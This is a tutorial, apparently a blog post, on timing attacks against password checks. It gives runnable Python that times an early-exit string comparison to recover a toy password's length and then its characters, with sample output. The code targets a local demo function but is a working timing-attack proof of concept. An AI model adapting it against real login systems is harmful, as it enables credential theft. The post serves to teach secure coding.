Timing attacks

Eivind Teig

By using the server response time we can use that information to gather secrets from it. Not all servers are susceptible, common popular ones are not when correctly configured. The problem arises when you, the developer, do not know about this, hence the code you write can be susceptible to this. Frameworks like Flask and Django are safe to work.

Lets crack some passwords! However this is not a hacking tutorial, you will not be able to use this to hack your friends, this is a dip in the deep end of the requirements needed to write secure software.

There is a whole class of attacks around the amount of time an algorithm takes to run code, known as Timing Attack.

The setup

password_database = {  
    'eivl': 'correctpassword'  
}


def check_password(user, guess):  
    actual = password_database[user]  
    return actual == guess


def main():  
    user = 'eivl'  
    guess = 'incorrect'  
    correct = check_password(user, guess)  
    print(f'{guess=} {correct=}')  
  
    guess = password_database[user]  
    correct = check_password(user, guess)  
    print(f'{guess=} {correct=}')  


if __name__ == '__main__':  
    main()

runnable example

I have a server that uses check_password and i have a database. I will change the check_password function along the way, but since this is the attackers perspective, this function cannot be modified, look at it as a black box.

The server above can be exploited because the server and database stores my password in plain text and not as a hash, the server also lets me try as many times as possible without imposing any exponential backoff in wait time between requests.

When checking for equality between two strings, most languages will check for the length of the string first and return False as an early out.

Cracking the length

Dependencies

You need to install numpy to make this work. pip install numpy

def crack_length(user, max_len=32, verbose=False) -> int:  
    """Crack the password length."""  
    trails = 1000  
    times = np.empty(max_len)  
    for i in range(max_len):  
        i_time = timeit.repeat(  
            stmt='check_password(user, x)',  
            setup=f'user={user!r};x=random_str({i!r})',  
            globals=globals(),  
            number=trails,  
            repeat=10,  
        )  
        times[i] = min(i_time)  
        if verbose:  
            most_likely_n = np.argsort(times)[::-1][:5]  
            print(most_likely_n, times[most_likely_n] / times[most_likely_n[0]])  
  
    most_likely = int(np.argmax(times))  
    return most_likely

The details of how I repeat and time the runtime is not only very python specific, but also specific to the timeit module.

I'm timing how long each password attempt takes, the statement is check_password(user, random_string_x).

My random string function looks like this.

def random_str(n):  
    """Return a random string of length n."""  
    return ''.join(random.choices(allowed_chars, k=n))

timeit.repeat returns a list and I save the fastest result as the server response time. The fastest time is picked because there can be timing variance, it can lag while running for unknown reasons, we don't want that slowdown to affect our attack. We are in other words picking the best option, assuming that after multiple runs the server did not lag at all.

What we see

What you see when running this is the following.

[7 6 5 8 4] [1.         0.99812733 0.99625465 0.99250931 0.99063663]
[7 6 5 8 4] [1.         0.99812733 0.99625465 0.99250931 0.99063663]
[7 6 5 8 4] [1.         0.99812733 0.99625465 0.99250931 0.99063663]
[15  7  6  5  8] [1.         0.40362806 0.40287219 0.40211633 0.4006046 ]
[15  7  6  5 16] [1.         0.40362806 0.40287219 0.40211633 0.40136047]
[15  7  6  5 17] [1.         0.40362806 0.40287219 0.40211633 0.40136047]
[15 18  7  6  5] [1.         0.40362806 0.40362806 0.40287219 0.40211633]
[15  7 18 19  6] [1.         0.40362806 0.40362806 0.40287219 0.40287219]
[15 20 18  7  6] [1.         0.40513978 0.40362806 0.40362806 0.40287219]
[15 20  7 18  6] [1.         0.40513978 0.40362806 0.40362806 0.40287219]
[15 22 20  7 18] [1.         0.40589565 0.40513978 0.40362806 0.40362806]
[15 22 23 20  7] [1.         0.40589565 0.40513978 0.40513978 0.40362806]
[15 24 22 20 23] [1.         0.40589565 0.40589565 0.40513978 0.40513978]
[15 24 22 23 20] [1.         0.40589565 0.40589565 0.40513978 0.40513978]
[15 24 22 23 20] [1.         0.40589565 0.40589565 0.40513978 0.40513978]
[15 24 22 20 27] [1.         0.40589565 0.40589565 0.40513978 0.40513978]
[15 24 22 20 27] [1.         0.40589565 0.40589565 0.40513978 0.40513978]
[15 24 22 23 20] [1.         0.40589565 0.40589565 0.40513978 0.40513978]
[15 30 24 22 23] [1.         0.40665151 0.40589565 0.40589565 0.40513978]
[15 30 24 22 23] [1.         0.40665151 0.40589565 0.40589565 0.40513978]

Passwords that where randomly guessed of length 15 took a little bit longer then the rest. The length of the actual password correctpassword is indeed 15.

I ran it again over and over again until I got an incorrect answer.

[20 15 12 16  6] [1.         0.0526875  0.0210828  0.02096589 0.02092692]
[20 15 12 16  6] [1.         0.0526875  0.0210828  0.02096589 0.02092692]
[20 15 12 16  6] [1.         0.0526875  0.0210828  0.02096589 0.02092692]
[20 15 12 16 11] [1.         0.0526875  0.0210828  0.02096589 0.02092692]

cherrypicked answer

15 is still in the top in this very cherry picked example. A longer password to guess or a machine running multiple other things will affect this process. Sandboxing this on a computer with limited amount of other processes will make for a much better process, and for longer and harder attacks that will be the only option.

import random  
import timeit  
import string  

import numpy as np


allowed_chars = string.ascii_lowercase
password_database = {  
    'eivl': 'correctpassword'  
}

def random_str(n):  
    """Return a random string of length n."""  
    return ''.join(random.choices(allowed_chars, k=n))


def check_password(user, guess):  
    actual = password_database[user]  
    return actual == guess


def crack_length(user, max_len=32, verbose=False) -> int:  
    """Crack the password length."""  
    trails = 1000  
    times = np.empty(max_len)  
    for i in range(max_len):  
        i_time = timeit.repeat(  
            stmt='check_password(user, x)',  
            setup=f'user={user!r};x=random_str({i!r})',  
            globals=globals(),  
            number=trails,  
            repeat=10,  
        )  
        times[i] = min(i_time)  
        if verbose:  
            most_likely_n = np.argsort(times)[::-1][:5]  
            print(most_likely_n, times[most_likely_n] / times[most_likely_n[0]])  
  
    most_likely = int(np.argmax(times))  
    return most_likely


def main():  
    user = 'eivl'  
    guess = 'incorrect'  
    correct = check_password(user, guess)  
    print(f'{guess=} {correct=}')  
  
    guess = password_database[user]  
    correct = check_password(user, guess)  
    print(f'{guess=} {correct=}')  
  
    print(crack_length('eivl', verbose=True))
  
if __name__ == '__main__':  
    main()

runnable code

Cracking the password

Given that the server uses one of these equality checks, lets unpack how that function works under the hood.

def check_password(user, guess):  
    actual = password_database[user]  
    if len(guess) != len(actual):  
        return False  
  
    for i in range(len(actual)):  
        if guess[i] != actual[i]:  
            return False  
    return True

First it checks the length then it goes and checks character by character. If any character are not equal, the function will return early. In other words, the more correct the password is, the longer the server will take to respond. We can exploit this the same way as with the length.

def crack_length(user, max_len=32, verbose=False) -> int:  
    """Crack the password length."""  
    trails = 1000  
    times = np.empty(max_len)  
    for i in range(max_len):  
        i_time = timeit.repeat(  
            stmt='check_password(user, x)',  
            setup=f'user={user!r};x=random_str({i!r})',  
            globals=globals(),  
            number=trails,  
            repeat=10,  
        )  
        times[i] = min(i_time)  
        if verbose:  
            most_likely_n = np.argsort(times)[::-1][:5]  
            print(most_likely_n, times[most_likely_n] / times[most_likely_n[0]])  
  
    most_likely = int(np.argmax(times))  
    return most_likely

This is similar to cracking the length itself, only we have to go position by position instead and get each character correct in turn.

CODE
import itertools  
import random  
import timeit  
import string  
  
import numpy as np  
  
  
allowed_chars = string.ascii_lowercase  
password_database = {  
    'eivl': 'correctpassword'  
}  
  
  
def check_password(user, guess):  
    actual = password_database[user]  
    if len(guess) != len(actual):  
        return False  
  
    for i in range(len(actual)):  
        if guess[i] != actual[i]:  
            return False  
    return True  
  
  
def random_str(n):  
    """Return a random string of length n."""  
    return ''.join(random.choices(allowed_chars, k=n))  
  
  
def crack_length(user, max_len=32, verbose=False) -> int:  
    """Crack the password length."""  
    trails = 1000  
    times = np.empty(max_len)  
    for i in range(max_len):  
        i_time = timeit.repeat(  
            stmt='check_password(user, x)',  
            setup=f'user={user!r};x=random_str({i!r})',  
            globals=globals(),  
            number=trails,  
            repeat=10,  
        )  
        times[i] = min(i_time)  
        if verbose:  
            most_likely_n = np.argsort(times)[::-1][:5]  
            print(most_likely_n, times[most_likely_n] / times[most_likely_n[0]])  
  
    most_likely = int(np.argmax(times))  
    return most_likely  
  
  
def crack_password(user, length, verbose=False) -> str:  
    guess = random_str(length)  
    counter = itertools.count()  
    trails = 1000  
    while True:  
        i = next(counter) % length  
        for c in allowed_chars:  
            alt = guess[:i] + c + guess[i + 1:]  
  
            alt_time = timeit.repeat(stmt='check_password(user, x)',  
                                     setup=f'user={user!r};x={alt!r}',  
                                     globals=globals(),  
                                     number=trails,  
                                     )  
            guess_time = timeit.repeat(stmt='check_password(user, x)',  
                                       setup=f'user={user!r};x={guess!r}',  
                                       globals=globals(),  
                                       number=trails,  
                                       )  
            if check_password(user, alt):  
                return alt  
  
            if min(alt_time) > min(guess_time):  
                guess = alt  
                if verbose:  
                    print(guess)  
  
  
def main():  
    user = 'eivl'  
    length = crack_length(user=user, verbose=True)  
    print(f'Password length is likely {length}')  
    input('Press enter to crack password')  
    password = crack_password(user=user, length=length, verbose=True)  
    print(f'Password is {password}')  
  
  
if __name__ == '__main__':  
    main()

runnable code

And that is about it!